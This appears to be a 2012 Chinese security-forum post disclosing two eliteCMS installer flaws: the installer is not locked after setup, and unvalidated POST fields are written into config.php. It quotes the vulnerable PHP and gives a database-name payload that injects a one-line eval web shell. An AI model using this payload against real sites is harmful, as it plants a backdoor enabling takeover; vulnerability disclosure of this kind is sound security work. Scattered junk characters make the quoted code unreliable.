找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2209|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装! r9 Y# {5 k; I9 M% c; R# W0 L5 D

1 @, N$ [6 [, J另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php  g+ @; _% n6 C6 U* z6 T3 f
我们来看代码:! b' o7 F' c+ g3 U, F$ n

1 A- Q7 G8 e. \# V...
$ n- f$ E7 P" r2 a9 a- T, B1 f+ T# jelseif ($_GET['step'] == "4") {
7 B- L2 t  j7 T$ M( F( t) @    $file = "../admin/includes/config.php";
7 `8 _, W# c4 M# M' {    $write = "<?php\n";5 k. e% X" c  q- [- d: R: z0 n1 A
    $write .= "/**\n";& S7 e9 O2 f2 z# G) F" D" L
    $write .= "*\n";! M3 o% @0 E; [$ @
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
) Y* D" W! y2 v( I9 I...略...
6 \# e: y: u# w" ?9 Z: n5 f. T8 ]$ Q    $write .= "*\n";7 n/ ~# M+ F# I* e
    $write .= "*/\n";4 e2 i3 r; y- d! j& g8 d- T
    $write .= "\n";0 B2 M7 k3 A2 a: h+ G
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";. G$ Q3 b; i7 @' }0 c- r
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
- Z# r) F1 {5 ~) i* w& Q& v3 v    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
) o* Q1 \7 Q& f5 ~) f( s    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
1 Q% \* r+ X0 s9 d% R! J5 O    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
- w1 g! {5 \/ r" O- y    $write .= "if (!\$connection) {\n";, |: N9 @7 p. ?! s6 e
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";2 w+ ~( y3 _; ]6 c1 a
    $write .= "        \n";
/ f. W3 Q- J( g    $write .= "} \n";
, L& i, S# s3 y& x4 K5 T    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";8 r9 J$ ^& r: _/ [; g/ B
    $write .= "if (!\$db_select) {\n";
8 S4 {# H* t/ F6 L    $write .= "        die(\"Database select failed\" .mysql_error());\n";
. s; L8 S8 t3 d& y* _    $write .= "        \n";
% L, p# X6 R' \, l" i' }$ [    $write .= "} \n";5 b" f) o* q. V, U8 y* o2 y
    $write .= "?>\n";2 e; [) k0 X  l. F& O, J5 b

* I% w8 W. b2 z! L7 g# V$ V" D1 ^    $writer = fopen($file, 'w');- U8 k6 w# }. N) P, E4 X/ [
...! n0 R& D& w) E) m& X, n* Q
! z' U( {* \( S
在看代码:1 W1 H1 }3 X2 n3 F, `3 k" s$ B
. q8 l" D% j) `3 l, z0 I* Q) a0 n
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];4 l5 S# V+ g# w/ T+ F( T
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
& ]4 Z# s; x% o! ?5 g$_SESSION['DB_USER'] = $_POST['DB_USER'];
5 V, |. k" |5 f& _$_SESSION['DB_PASS'] = $_POST['DB_PASS'];3 m6 Q' M& R  q, j* d
4 L/ e. M. l/ p& }  o
取值未作任何验证6 l' V6 @) B- g- ]
如果将数据库名POST数据:
. E6 P- x7 q0 m+ q: H6 s0 f: g   P0 _3 c5 L/ ?5 v3 i6 [3 @/ h6 _
"?><?php eval($_POST[c]);?><?php
  P) r& s2 e5 k* }+ h7 q % W5 {8 c/ S5 N: ]
将导致一句话后门写入/admin/includes/config.php
  S1 G: a' C" I% O5 Y' ?7 m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表